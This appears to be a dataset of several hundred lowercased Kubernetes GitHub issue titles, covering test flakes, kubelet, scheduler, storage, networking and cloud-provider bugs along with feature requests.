flake: pull-kubernetes-federation-e2e-gce dial tcp ./federation/cluster/federation-up.sh failed

node controller fail to mark all pod not ready when some errors occur

pods created with an nfs volume with specific ownership get stuck in \ terminating\  when deleted

hash of a pod for equivalence cache should be calculated once per schedule

rate limiter in apiserver needs to take into account watch, exec, proxy, and logs

replicaset controller failed to update its status after scaling down

client-go workqueue example should show how to enable multiple workers

fail to apply service objects after running  cluster/update-storage-objects.sh

node e2e: the test using dynamic configuration should restore original configuration after test.

drbd: add support for drbd replicated block storage as a volume type.

kubectl config set-credentials only takes secrets on the command line

ci-kubernetes-e2e-gke-gci-1.4-gci-1.5-upgrade-cluster-new: broken test run

federation: premature confirmation of the deletion of replica sets

moving towards file-based interface for container stdout/stderr logs

federation: creating a type loadbalancer federated service and federated ingress can lead to resource leak

kubectl patch --type=strategic should prompt the name of the required key

rewrite scheduler-centric e2e tests to avoid use of events for validation

stackdriver event exporter too noisy when watch connection is reset

failure cluster  194920...  failed 213 builds, 24 jobs, and 21 tests over 1 days

pvcs do not get assigned to correct az as where the pod needs to be scheduled

failure cluster  2d12f2...  failed 277 builds, 13 jobs, and 1 tests over 1 days

kubeadm: specifying controllermanagerextra arg did not take precedence

failing test :  sig-apps  deployment rollingupdatedeployment should delete old pods and create new ones

pods with nodeaffinity went to matchnodeselector state after node reboots

nodeport service cannot be accessed from outside cluster if kube-proxy mode is ipvs and cni plugin is calico.

creating and/or deleting managed instance groups is taking a lot of time in some tests

k8s.io  multi-az clusters should spread the pods of a replication controller across zones {kubernetes e2e suite}

kubelet tls bootstrap issued certificate is not valid for hostname of node

container cannot be restarted by kubelet if it was removed while kubelet was down and its service account secret was changed

crd validation: properties and patternproperties at the same time must be disallowed

flannel  networkplugin cni  error: /run/flannel/subnet.env: no such file or directory

should prevent the deletion of a pvc that is referenced by an active pod

workload controllers should support templating of custom resources

mungedoc should warn people to fetch upstream/release-1.1 if it already exists

kubelet volume manager fails to reconstruct volume information if global mount path is gone

if a cronjob fails, the corresponding pod isn't deleted. it repeats for every new pod.

kubernetes-e2e-gce-ubernetes-lite should verify the cluster created is actually multi-zone

kubelet keeps attempting to reclaim nodefs after upgrade to 1.7.0

dns lookup fails on statefulset pod when spawned after init-container

pod on k8s v1.9 with pv/pvc  nfs  can override storage limit request

unable to expose pod ip using downward api envvar in windows containers

multi container pods stuck \ terminating\   after deleting deployment

pending pod scheduled onto master node when  scheduledaemonsetpods  is enabled

kubectl create secret --output-version doesn't validate the value

kubernetes openstack cloud provider - too many request per minute

openstack lbaas v2 driver deletes all pools and monitors when any single service is deleted

timestamps in events should have  at least  millisecond granularity.

kubedns can resolve kubernetes and kubernetes.default.svc.cluster.local, but not kubernetes.default

kube-proxy/iptables, udp conntrack data not removed on endpoint changes

evaluate how to allocate resources on kubelet to fail fast during pod creation

exec.run didn't return an error when ls has a non-zero exit code

staging repositories not handled properly in bazel-built kubernetes-src.tar.gz

fluentd-elastichsearch: unexpected error error_class=typeerror error=\ no implicit conversion of symbol into integer\

failure cluster  899215f5...   sig-apps  daemon set  serial  should run and stop complex daemon  conformance   in ci-kubernetes-local-e2e-containerized

keep pod running when upgrading kubelet binary within given timeout duration

kubelet --enforce-node-allocatable=pods does not enforce allocatable limit

how to access environment variables inside container at runtime ?

failing test:  sig-storage  in-tree volumes  driver: gcepd   testpattern: inline-volume  ext    volumes should allow exec of files on the volume; failing in gce-multizone

admission control should have a match function on resource/subresource/kind

feature request: permanent local storage/same-node statefulset rescheduling

gcp: loadbalancer service with external ip creates instance with another ip

inconsistent type signature in kubelet cadvisor clients causes compilation failure on osx

failing test:  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart

failing test  testadoption in integration-master job blocking merges

guestbook php get/set very slow -- predis doing aaaa lookups before a lookup

protobuf serialization does not distinguish between      and  null

enforce compatability guarantees on apimachinery / apiserver as of 1.8

no error message is shown for pv-pvc binding when volumemode: block is not supported

cr scale subresources update request fails when using non-storage version's endpoint

build/run.sh failure due to fetch false preventing from being pulled

logs from inside apiserver handler.servehttp disappear into ether

feature request  service send copies of requests to production and test.

k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2 {kubernetes e2e suite}

protobuf not generated for changes to k8s.io/apimachinery/pkg/apis/meta/v1

pull-kubernetes-cross consistently failing with docker registry tls handshake timeouts

e2e conformance tests failing when using denyescalatingexec admission controller

add flexvolume daemonset deployment examples to the examples directory

reevaluate all of our targets.  do we really need 32bit windows?

cri: different behavior for containerstatus, podsandboxstatus and imagestatus.

allow to set the image name in deployment defenitions via a config map.

federation needs to generate openapi code for itself and vendored k8s

steps to enable rest server components and client components to use versioned code, rather than the \ __internal\  apis

xfs volumes are unsupported on gce using the container-optimized os

feature request: include resource annotations in audit report metadata level

failing multizone test:  sig-storage  in-tree volumes  driver: gce   testpattern: inline-volume  default fs   subpath should fail for new directories when readonly specified in the volumesource

azure dns label mismatch leads to endless failed attempts to ensure load balancer

dns entries not exposed for statefulset and headless service in kubernetes 1.12.2

conversion generator doesn't tolerate one-way custom conversions

plugin developer guidelines -- plugin code guidelines / scafolding ?

ci-kubernetes-node-kubelet broken since 16:00pm pst yesterday   03/01

kubernetes-master juju layer hardcodes old nginx-ingress-controller image

kubernetes running os cloned, on different machine can't start kubernetes

it is ambiguous when connect to apiserver with http1.1/http2/spdy3.1.

azure: updating  loadbalancersourceranges  does not update the azure nsg

clean node controller from code that supports version prior to 1.5

kubernetes dns resolution can be used to replace \ real\  dns records

many kubelet parameters do not include default value in help message

coredns service do not work,but endpoint is ok，the other svcs are normal only except dns

failed creating a mirror pod for kube-proxy after enabling pod security policy

kubelet should not restart restartpolicynever pods when machine reboots

e2e test  why  should check kube-proxy urls  case always assume proxy mode is iptables?

e2e failures  initializers should dynamically register and apply initializers to pods

deploymentrollback: controller could't find origin revision in rs if it has been rollbacked once

pull-kubernetes-e2e-kubeadm-gce and ci-kubernetes-e2e-kubeadm-gce are broken

build   debian-base fails with  dpkg  subprocess : unable to execute installed post-removal script  /var/lib/dpkg/info/bash-completion.postrm : no such file or directory

add support for specifying namespace when using  gcloud container clusters get-credentials  command

docker uses wrong ip range when using coreos with cloud configs from getting started guide

kubelet 1.3.0 fail to start static pods after upgrading from 1.2.4

1.6 upgrade testing -  k8s.io  statefulset  k8s.io  basic statefulset functionality should handle healthy pet restarts during scale

remove duplicated import and wrong alias name of package k8s.io/api/core/v1

genericscheduler findnodesthatfit should return from parallel work early if there is any error

api server cannot parse query parameter propagationpolicy sent with a delete request

missing  --cluster-name  parameter to cloud-controller-manager binary

two consecutive dollar signs in env translate to single dollar sign.

api server is not accessible via virtualbox/docker-machine after getting started instructions

cloud-provider openstack: exits immediately without providing --cloud-config

environment variables are not re-interpolated when re-applying deployment

azure lb should support a resource id reference for public ip addresses...

xpack features disabled by default with no-option to over write the settings

make pd e2e tests work nicely on a shared cluster, not commandeer nodes 1 and 2.

proper upgrading aws kubernetes cluster brought up with kube-up is not possible atm

refactor kubernetes scheduler and controller manager to enable code reuse

k8s.io   feature:example   k8s.io  downward api should create a pod that prints his name and namespace {kubernetes e2e suite}

k8s.io  cluster level logging using gcl should check that logs from containers are ingested in gcl {kubernetes e2e suite}

we should monitor amount of free resources on master machine s  in e2e tests.

ci-kubernetes-e2e-gce-scale-correctness stuck doing nothing for over 8 hours

waitforattach failed for azure disk: parsing \ /dev/disk/azure/scsi1/lun1\ : invalid syntax

failing test : gce-1.10-master-upgrade-cluster-new jobs failing in release blocking tests

unclear network policy's \ policytypes\  definition in spec documentation

k8s.io  replicationcontroller should surface a failure condition on a common issue like exceeded quota {kubernetes e2e suite}

cluster deployment issue with openstack heat  salt://kubelet/ca.crt not found

service controller deletes and re-adds aws elb listeners when it starts up

kubectl patch should not exit with a non-zero exit code on no changes

\ remote\  is missing from kubelet's container-runtime flag documentation

credential manager does not normalize :443 or :80 ports before checking secrets

k8s.io  pods should get a host ip  conformance  {kubernetes e2e suite}

k8s.io  dns should provide dns for the cluster  conformance  {kubernetes e2e suite}

deleting a pod will logout an iscsi session even if that session is in use by other pods

add possibility to change fluentd requests on master and nodes independently

node taints from aws cloudprovider can't be applied because of incorrect service account permissions

pkg/apis/core/validation/validation_test.go need a spliting and refactoring

reuse labelnoderolemaster constant for loadbalancers in a common packageinstead of hard coding it

scheduler user guide documentation  choose scheduling algorithms and strategies for your cluster

failing test   k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 100 pods per node

check for default serviceaccount in kube-addons.sh script is inadequate

rest_client_request_status_codes metrics is recoding a value that is not a code

gci test failing:  kubernetes-gci-gke-serial-release-1.4    k8s.io kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node

k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}

equivalence cache pod hashing doesn't work for statefulsets with pvcs

mountvolume.setup failed for volume pvc  mount failed: exit status 32

testapi based intergration tests crash when 2 api versions in the same apigroup are not compatible.

godoc for httpgetaction should address certificate path validation if urischeme==https

refactor volume manager reconstruction so that it can be unit tested

rfe: enumerate the list of issues with shadow pooling  kubernetes all the way down

ssl termination at elb and internal communication over http on port 80

kubernetes/test/integration/garbagecollector/garbage_collector_test.go is flaky

local headless service with clusterip field set as none still requires ports field to be specified

e2e network/config-map - adapt the configmap change depending the kind of dns server running.

federation  kubefed  should bind flags directly to a configuration type

federation-controller/service testservicecontroller unit test flake

k8s.io  gcp volumes  k8s.io  glusterfs should be mountable {kubernetes e2e suite}

scheduler  predicates.go is bloated, we should consider separate each predicate func to it's own go file

recent kubernetes tarballs from github don't build using make  wrong linker args?

csi internal volume driver should probe external driver prior to nodepublish

cri: instruct kubelet to  optionally  consume container stats from cri

overloaded api servers  sending 429  never cause clients to rebalance

add support for out-of-tree cloud providers to run service e2e tests

kube_git_version contains extraneous comma when building from git archive source.tgz

getting pod logs through api with accept: application/json returns text which is invalid json; text/plain not allowed.

kubelet should add a label to nodes on which cpu manager is running

built-in user-facing clusterroles  admin, edit, etc.  missing rules for controller revisions

propagate \ no container\  error from attach/exec/logs up cleanly to the api server level

k8s.io  esipp  slow  feature:externaltrafficlocalonly  should work for type=loadbalancer  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}

k8s.io  network should set tcp close_wait timeout {kubernetes e2e suite}

document administration of credentials for system roles/bindings/groups

node-controller: unit test flake in testupdatenodewithmultiplepods

node status down  -> pod status unknown -> pod cant be deleted, cordon doesnt finish.

hostpath volume with subpath volume mount does not work with containerized kubelets

when enable the equivalence cache feature which makes the pod scheduling performance decline

sig-apps tests keep failing when run pull-kubernetes-e2e-gce test

return custom resources only for the api version in which they were stored

soft lockup on k8s node during pod creation - smp_call_function_many+0x20a/0x270

test to reboot the node should be skipped when using local-up-cluster.sh.

failed to watch componentstatuses because \ watch\  is not allowed which differ from docs

syncdaemonset should retrieve nodelist once and pass it to other functions

libpq-based postgresql clients will no longer read a pgpassfile mounted from a secret

kube-apiserver 1.10. 0-5  & 1.11.0 uses up all available cpu on arm64

how to measure containers execution time inside a kubernetes pod?

windows kubelet does not mount the /dev/termination-file file into containers

kubectl exec documentation needs to make it clear that the command shouldn't be quoted

remove handling of old non-capitalized event reason in scheduler-predicates test

kubectl built from head does not recognize all api versions with older server version

validation should reject empty topologykey when !utilfeature.defaultfeaturegate.enabled features.affinityinannotations

federation: google cloud dns provider error 404 caused by the projectid

e2e node   /root/.ssh/google_compute_engine not accessible: no such file or directory.

podsecuritypolicy missing documentation for creating pod-creating objects

broken cpu manager corner case: restarting kubelet with  none  policy can leak cpus.

type clusterrolebinding subjects serializer should  omitempty  or be empty array

use an existing azure file share name should be possible in azure file plugin

k8s.io  memoryeviction  slow   serial   disruptive   when there is memory pressure should evict pods in the correct order  besteffort first, then burstable, then guaranteed  {e2enode suite}

large cluster - kube-dns never gets ready: error syncing pod, skipping: failed to \ createpodsandbox\

kubelet sandbox gc can close hostports that are in use by a different pod

hpa cpu detection java application appears to start the highest number of pod

make it so websites can have a button to \ deploy to kubernetes\

error syncing pod, skipping: failed to \ startcontainer\  for \ test\  with runcontainererror

unable to create tprs using incluster auth, due to forbidden error

failure cluster  f34e64...  failed 56 builds, 4 jobs, and 1 tests over 1 days

openstack cloud provider should register with instance id instead of instance name

kubectl does not use containing api group when resolving shortname from discovery

csi topology support: node info population through kubelet driver registration mechanism

upgrading to v1.11 from v1.10 causes errors with cgroup parent name

pod sandbox creation appears to be unstable under windows in 1.11.3.

don't blindly trust cached state of load balancer resources in service controller

aws: support multiple route-tables in kubenet  for private topologies

pv controller should not depend on 15 second resync to be responsive

vsphere cloud provider fails to attach a volume due to unable to find vm by uuid

custom labels can't be added to pvc using statefulset.spec.volumeclaimtemplates

on master-node partition failure happens, statefulset's constituent pods cause data corruption

failing test in master-upgrade:  sig-network  networking should provide unchanging, static url paths for kubernetes api services

kubectl get pods  behavior differs based on output mode wrt failed pods

events describe pod as unhealthy on init when using readiness probe

networking. kubernetes, direct access to a pod port without expose.

failure cluster  9a3f59...  failed 54 builds, 13 jobs, and 6 tests over 1 days

failure cluster  48a392...  failed 130 builds, 16 jobs, and 3 tests over 1 days

scheduler cleanup phase 2 : move predicate types from  pkg/scheduler/algorithm  to  pkg/scheduler/algorithm/predicates

kubelet doesn't send proper http error code on container logging errors

stop edit from updating last-applied-config annotation and let replace respect --save-config

admissioncontrollers: defaulttolerationseconds added after resourcequota

failure cluster  aee02e...  failed 52 builds, 18 jobs, and 17 tests over 1 days

need to update scheduler equivalence cache invalidation for pvcs and pvs

group version  apiextensions.k8s.io/v1beta1  that has not been registered

kubectl apply -o yaml does not output proper yaml when changing multiple objects

apply flannel with backend vxlan to k8s, so lag, the netword capacity slow down %20.

hpa autoscaling issue. fails to get the cpu utilization from heapster. unable to marshall heapster response

local-up-cluster causes error: you must be logged in to the server  the server has asked for the client to provide credentials

pods with hostnetwork=true cannot be removed  and generate errors  when using cni

test failure: cluster 1.6->1.7 upgrade should maintain a functioning cluster  feature:clusterupgrade

disable the kube-apiserver insecure port, and lead to health-check can't work

enabling secure communication inside kubernetes cluster instead of port 80

flaky tests   sig-auth  advanced audit tests are flaking in gce-cos-master-default, gce-cos-1.14-default

when the number of jobs exceeds 500, cronjob cannot schedule, bug of pager.list

invalid json errors during patch are not properly wrapped as api errors

k8s.io  resourcequota should create a resourcequota and capture the life of a secret. {kubernetes e2e suite}

node fit failure for master due to podtoleratesnodetaints, when all taints removed.

aggregation fails to proxy api group if aggregated server is missing an openapi spec

kubelet: failed to get container info for \ /user.slice/user-0.slice/session-9.scope\ : unknown container \ /user.slice/user-0.slice/session-9.scope\

kube-proxy nodeport access via localhost, with externaltrafficpolicy=local => martian source

downwards api  specifically status.hostip  access within podspec dnsconfig or hostaliases

wip: use fixed timeout period for detaching volumes might cause unexpected behavior

vsphere cloud provider: look into the need for credentials to be stored on nodes

pod on standalone kubelet never enters \ running\ , even though containers are up

supporting docker log splitting in kubernetes logging integrations

certificatemanager blocks kubelet start if auto-approval is not enabled

kubectl apply  on a apps/v1beta2 deployment renders as extensions/v1beta1

completion does not work for some resources like apiservice, clusterrole, resourcequota, etc

sandboxchanged\tpod sandbox changed, it will be killed and re-created.

csi: volume plugin can't recover from pod deleted before un-mounting devices for it.

kubectl patch  shows \ not patched\  even after the resource is patched successfully

failure cluster  0d416a...  failed 250 builds, 54 jobs, and 2 tests over 1 days

apiservice: cabundle should  optionally?  be a pointer to an out-of-band configmap/secret

kubectl failed to create resource due to \ resource quota evaluates timeout\

plugin watcher panics when ophaned plugin socket exists in plugin discovery directory

verify.godeps and verify.staging-godeps failing in verify jobs on master and 1.13 branch

flaking test: subpath failures in new-master-upgrade-cluster-new-parallel, other jobs

kubectl should warn if master and nodes are more than 1 version skewed

handle updates, rolling update preferences and revisions in federated deployment controller

client-go/fake should return the object it received in create and update instead of returning an empty object

kubegenericruntimemanager starts up the pod even when dockershim runpodsandbox returns error

job, disruption, cronjob, statefulset tests fail in upgrade suites

failure cluster  6a7a66...  failed 100 builds, 5 jobs, and 1 tests over 1 days

gce controller leaks firewall & health check resources if cluster uid is changed

expose concurrent-service-syncs flag on the ccm like it is for the kcm

priority admission controller should choose one default priority class deterministically

openstack cloud provider broken:  failed to get external id from cloud provider: instance not found

kubernetes is not yet tested with docker 17.12.1  default in ubuntu 18.04 lts \ bionic\

kubectl apply should only submit a patch if something has changed

gce pd still in use after pod deleted during rolling node upgrade

kubectl delete should wait for resource to be deleted before returning

e2e execute failed: schedulerpredicates  validates resource limits of pods that are allowed to run

gce tests failing with \  mode  has been removed. please use  subnet-mode  instead\

kubeadm : pods on new cluster nodes are not able to communicate any external ip or port

servertimeout when there are a huge amount of requests on a specific resource

node reboot cause unable to mark volume as detached normally in gke

consider re-organizing  kubelet.cm  package into multiple sub-dirs

kubeadm 1.8.0 fails when cloud-provider and cloud-config are specified

kubectl rollout undo deployment without further parameters  affecting all resources  functionality

default seccomp profile cannot be configured without hardcoding it in kubelet

\ no kind clusterrole is registered for version rbac.authorization.k8s.io/v1beta1\  when creating rbac resources on k8s 1.6.6

conversion-gen fails with stack overflow when encountering a type that references itself

implement instanceexistsbyproviderid   for all the cloud providers

e2e failure   sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicaset should scale ...

sharedinformer should expose a method to notify underlying listerwatcher status

should enable ipvs feature gateway by default to make kubeadm set up ipvs proxy.

bug v1:endpoint - required value: must specify  addresses  or  notreadyaddresses

gci test failing:  kubernetes-e2e-gci-gce-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node

k8s.io  pods should contain environment variables for services  conformance  {kubernetes e2e suite}

k8s.io  projected optional updates should be reflected in volume  conformance   volume  {e2enode suite}

kubemark-500 continuously failing since 3 days while starting hollow-nodes

the kubernetes version is now 1.8, this script maybe out-of-date.

cover read and write api endpoints for  /v1alpha1/priorityclasses/  in e2e tests

candidate for conformance  discussion to promote \  sig-api-machinery  garbage collector should delete jobs and pods created by cronjob\  e2e test

is there a way to validate the container's \ env\  section matches the image requirements?

incorrect selflink path when querying resources via rest apiserver

pr:pull-kubernetes-e2e-gce-etcd3 flaked 169 times in the past week

kernel: unregister_netdevice: waiting for eth0 to become free. usage count = 1

e0111 13:39:34.480301 1 leaderelection.go:234  error retrieving resource lock kube-system/ceph.com-cephfs: endpoints \ ceph.com-cephfs\  is forbidden: user \ system:serviceaccount:kube-system:default\  cannot get resource \ endpoints\  in api group \ \  in the namespace \ kube-system\

admission webhook review requests don't include gvk in raw object

testinterpodaffinitypriority: test is incorrect, when fixed - reveals missing punishment for mismatched label selector?

panic when running cpu manager node e2e test on ubuntu 16.04 locally: \ assignment to entry in nil map\

gc restmapping integration test failures  testcrddeletioncascading, testcustomresourcecascadingdeletion, testmixedrelationships

hostpath mounts failing with \ path is not a shared or slave mount\

conflict error when create pod because resource quota version is old

tracking issue - conformance coverage for shared volumes between containers in a pod

users can exec into pods with the websocket endpoint even without  pods/exec create  privileges

lost gcepersistentdisk partition after using it in cluster with rc of two pods

kubefed init none-cloud cluster controller-manager error: tls handshake timeout

storageclass.reclaimpolicy, pv.mountoptions, and sc.mountoptions need e2e tests

failing tests  : hpa-upgrade, ingress-upgrade failing in sig-release-master-upgrade

kubernetes tks csr/certificate api should support expiry/validity parameters

kube-proxy --> not setting up route in ipvs mode  race condition/cannot easily replicate

docker-proxy processes may or may not have been charged to the docker-daemon cgroup on containervm

bulk service or endpoint operations are computationally expsensive

feature request: switch k8s nodes/master to autosize ebs using new elastic volumes on aws

containers intermittently start with host /etc/resolv.conf instead of the kubernetes created file

e2e tests need to use brackets around ipv6 addresses for ip:port

support for docker create option --storage-opt in pod deployment

unable to connect to  master node from worker node in kubernetes

ipvs shortcut the network policies when src pod and dst pod are on the same node

openid connect: identify user by more jwt claims than just a single one

kubelet should set the correct selinux context on volume directories automatically

don't show poddisruptionbudgets in 1.3.x because they aren't done

break out kubectl as a separate download from the server components

k8s.io  serviceaccounts should mount an api token into pods  conformance  {kubernetes e2e suite}

federation  fix missing coredns-endpoints in coredns provider config

rfe: have rbac inject new field in objectmeta on author/source of last update

re-run initcontainers in a deployment when containers exit on error

kubectl 1.10.0 is unable to create deployments on clusters running 1.8.7

pr:pull-kubernetes-kubemark-e2e-gce flaked 52 times in the past week

unable to create a pvc because it says spec.datasource is now required

failed to run kubelet: invalid configuration: cgroup-root    doesn't exist: <nil>

decide what kubelet should do with the containers not created by k8s

api server returns http 200 ok on \ too old resource version\  errors

networkpolicy with namespaceselector on name i.s.o. custom label

wrong naming of docker compatible envvar \ {service.name}_port\  causing problems in spring boot app

aggregation layer proxy authentication doesn't work if aggregation ca is not a root ca

kubemark presubmit should not use e2e.go and then rebuild kubetest

running pod and cronjob pod with shared iscsi pvc not scheduled on same node

integration test: watches scale to 100's-1000's of watchers without dropping

sessionaffinity clientip mode may proxy all request from different client to same pod

federation: flake in deleting federated service during kubectl tests

e2e failure  gce serial and gci gce serial are failing to come up

kubectl get all stopped printing resource type after upgrading client from 1.9.3 to 1.10.0

volume controller eventually pegs at 100% cpu when using nfs pvs and recycler

scheduler cleanup phase 1 : move informer event handlers to pkg/scheduler

use default spec.configsource on node register when dynamickubeletconfig activated

kubelet does not enforce pod.spec.nodeselector if apiservers list is empty

convince ourselves that two schedulers scheduling the same pod \ at the same time\  works

optimization in copy: structs with only primitives  no pointers  can be bulk assigned

handle cases where node /etc/resolv.conf uses a localhost dns resolver

the data returned by kubelet's \ /stats/container/\  interface is inconsistent with executing \ docker ps -s\  command

the horizontalpodautoscalerupscaleforbiddenwindow option is still present

kubelet on aws should use instance metadata instead of iam roles

k8s.io  downward api volume should update labels on modification  conformance   volume  {kubernetes e2e suite}

jmeter load tests on multi-node eks is slower than single-node cluster

kube-apiserver   kube-controller-manager  flags involving certs & keys are confusing

default fstype of azure disk is \ ext4\  which is not applicable for windows disk

pr:pull-kubernetes-kubemark-e2e-gce-big flaked 24 times in the past week

azure loadbalancer does not handle sessionaffinity during update

failed to create kubelet: unknown service runtime.v1alpha2.runtimeservice

k8s.io  kubectl client  k8s.io  kubectl logs should be able to retrieve and filter logs  conformance  {kubernetes e2e suite}

add an e2e test measuring the time it takes for hpa and ca to scale up after load increase

kubeadm v1.6.1 is depending on kubectl v1.7.3 when installing with yum

e2e tests for loadbalancer service session affinity with esipp fail on aws

rebooting the node which host the default-http-backend pod cause clbo of ingress controller

understand why resource usage of master components is noticeably different in kubemark

feature  shall we keep controller/scheduler re-campaigning as a follower instead of crashing after leadership lost

winspace proxy should not depend on iptables - wrong comment message

pod stuck in terminating due to prestop hook not executing on all containers

kube-apiserver: too many open sockets from 'localhost' dns queries

large numbers of containers with inaccessible images dos container starting process

kubectl logs does not work with --kubelet-preferred-address-types=internalip

securitycontextdeny admission controller should aggregate errors.

add e2e and integration tests for apps/v1beta2 statefulset scale subresource

\ externaltrafficpolicy\ :\ local\  work not fine with cloud loadbalancer

kubernetes create symlink /var/log/containers for /var/log/pods/.../ .logs normally is /var/lib/docker/containers

kube-apiserver failing to connect to multiple etcd servers using client cert authentication

kubelet restart e2e test did not report failure when container got replaced

k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi testopenapi 0.00s

kubectl set  commands on replicaset and daemonset occasionally return version registration errors

kubelet can't mount the volume with  --cloud-provider=external  which is required by ccm

super strange!  application is not run at the cluster that i created on nic with internal ip but on the  nic with external ip.

where is the interface for cluster ip address and the rule policy for dna of lb service?

the default  value of horizontalpodautoscaler.spec.cpuutilization

failing test  kubeadm jobs failing cluster up in release master-blocking and 1.13-blocking jobs

testreadconfigdata needs a better util.readconfigdatafromreader   which succeeds on success and fails on failure

published crd openapi does not inform kubectl explain or validation

custom immortals namespaces to namespacelifecycle admission controller

ha with 3 masters kubectl top wont work after custom metrics api

customresourcedefinition in openapi spec should have an x-kubernetes-group-version-kind

kubectl --server using certificate-authority-data from wrong context

k8s with 1.4.0 beta1  or 1.4.5 or 1.5.1 could not support the dynamic volume provisioning

kubelet - 1.10.3-00 - segmentation violation code=0x2 addr=0x14c7ba40 pc=0x14c7ba40

kubernetes url has cross site scripting  reflected  vulnerability

failed to deploy metrics-server on k8s v1.13 with default resource-reader.yaml

destruction of pods which are in the \ pulling\  or related states takes a lot of time

gce serial flake, schedulerpredicates  serial  validates that interpod affinity and antiaffinity is respected if matching

attempt to collect a long profiler sample from apiserver is aborted

deployment controller needs different functionality than updatepodwithretries

kubelet livenessprobe always fail in macvlan/ipvlan network mode

application in one pod not able to connect to mongodb on another pod.

remove the concept of \ unversioned\  types and replace it with common server types and type reuse

scheduler cleanup phase 2 : move users of  factory.newconfigfactory  to  scheduler.new

windows docs claim mountpropagationhosttocontainer is supported, but internals suggest otherwise

cadvisor in kube 1.4 is broken on rhel systems when kubelet running in a container - cgroup is out of order

pods in statefulsets cannot resolve each other by expected hostnames

orphaned objects cannot be deleted once their namespace is removed

controller manager existed in ha topology due to list watch timeout

kubectl create deployment, and container in cluster run error: shutting down, got signal: terminated

attachdisk--cinder volume error event invalid request due to incorrect syntax or missing required parameters

crd validation fails with array type when field is not set in resource

error testing connection https://kubernetes.default: java.net.unknownhostexception: kubernetes.default: name does not resolve

kubectl apply  failed to update resources in different namespaces

failing test   sig-storage  csi mock volume csi workload information using mock driver  feature:csidriverregistry  should not be passed when csidriver does not exist - test timing out

gci test failing:  kubernetes-e2e-gci-gce-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node

volume \ inner name\  is not correct for use in mount path, can cause collisions

incorrect status: 'deployment \ testapp\  exceeded its progress deadline'

bad interaction between finalizer, limit range and mutating web-hook prevents pod termination

excess of inter node communication  pod to coredns in other node  in case of pod to external traffic

kube-proxy configmap invalid after cluster upgrade 1.11.9 - 1.14.1

aws: kube-up should warn if there are existing resources tagged with kubernetescluster

support a vault based kms provider for envelope encryption of resources in a cluster

kubelet fails when cloudprovider openstack is used and should manage loadbalancer security group

k8s.io  gcp volumes  k8s.io  nfsv4 should be mountable for nfsv4 {kubernetes e2e suite}

kube-apiserver --storage-backend defaults to etcd3  and hangs if connecting to etcd2 cluster

service controller: add reconciler logic for healthcheck/targetpools

custom solutions guide links to getting started from scratch, and that guide links to kubectl install which already seems to assume i have kube-up.sh

flaky tests :  sig-storage  volumes pd should be mountable with ext3 and  sig-storage  volumes pd should be mountable with ext3

umbrella: allow a 3rd party plugin to run on top of a kubernetes cluster

saltbase/salt/generate-cert/make-ca-cert.sh: no such file or directory

\ an empty namespace may not be set when a resource name is provided\

jobs - takes a while to update job status if job succeeds after retrying many times

kube-controller-manager address flag deprecated but defaults still being applied

gci test failing:  kubernetes-gci-gke-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node

failure cluster  679a79...  failed 193 builds, 17 jobs, and 1 tests over 1 days

ability to dynamically modify liveness/readiness prober handlers and rules of pod spec

system:csi-external-provisioner  role missing secret fetch access

windows e2e in gce: secrets tests failing due to unexpected output

kubelet reporting out of disk space while log shows ample space available

include runtimeclass information in listpodsandboxresponse and podsandboxstatusresponse

disallow setting activedeadlineseconds for restartalways pods/controllers

failed pods with restart policy=never should not be in the endpoints.notreadyaddresses

loadbalancer targetport not forwarding to daemonset hostport if port not same as hostport

k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities {kubernetes e2e suite}

kubelet and btrfs snapshots: failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : error trying to get filesystem device for dir /var/lib/kubelet

there should be a way to offer mount options for nfs v1volumes  not pv

pods stuck in terminating status due to unmountvolume.teardown failed for volume

failed to start sandbox container due to  cni failed and containerd-shim not installed on system

port forwarding tests won't work with rkt-kvm  propably with all hypervisor based runtimes

k8s.io  kubectl client  k8s.io  simple pod should support exec {kubernetes e2e suite}

hack/verify-generated-protobuf.sh failed even after hack/update-all.sh

failed to set statusupdateneeded to needed true because nodename=\ node-v1-test\   does not exist

make it easier to understand versioning of repositories pushed from staging

investigate to support local storage capacity reporting with the \ volume attach limits\  feature

kubectl rollout history should show me the images that each revision run

setting individual hostname for every pod in replicationcontroller or deployment?

kubernetes/default service  api server  fails when changing --service-cluster-ip-range argument

federation  make sure that all documentation about federated services explains that you need to own the relevant domain name

certificatesigningrequest.get: status.certificate is nil for approved csr.

need to automate process for enabling cloud provider on existing kubernetes cluster

failed to start containerized kubelet with error: container runtime is down

kubelet logs would be more useful if standard form for namespace/name.container

doc  --apiserver-count is not documented on http://kubernetes.io/docs/admin/high-availability/

federation  print out namespace on each line during federation e2e tests

kubectl convert unable to decode, no kind is registered for version

failing test: dns configmap federations should be able to change federation configuration  slow  serial

document what all the labels mean with regard to issues and pull requests

k8s.io  dns configmap federations should be able to change federation configuration {kubernetes e2e suite}

failure cluster  43fbdd...  failed 169 builds, 40 jobs, and 1 tests over 1 days

initial support for resource quota and limit range on extended resources

a build in admission controller to control service per namespace/user

after apply kibana manifest, resources of my node machine exhausting

eviction api ignoring prestop hook and terminationgraceperiodseconds when deleteoptions are not present

test flake: 4.9 kernel vs  sig-network  network should set tcp close_wait timeout

build failure: cli-runtime kustomize pkg wants to import deleted factory code

aws: we should consider updating/reusing cluster-autoscaler to support aws

inability to detect disk space leads to kubelet failing entirely, cadvisor tries things that need root

k8s.io  garbagecollect  serial  garbage collection test: one non-restarting container should eventually garbage collect containers when we exceed the number of dead containers per container {e2enode suite}

error validating data: the server could not find the requested resource;

unable to deploy privileged pod after 1.8 upgrade unless i set allowprivilegeescalation true

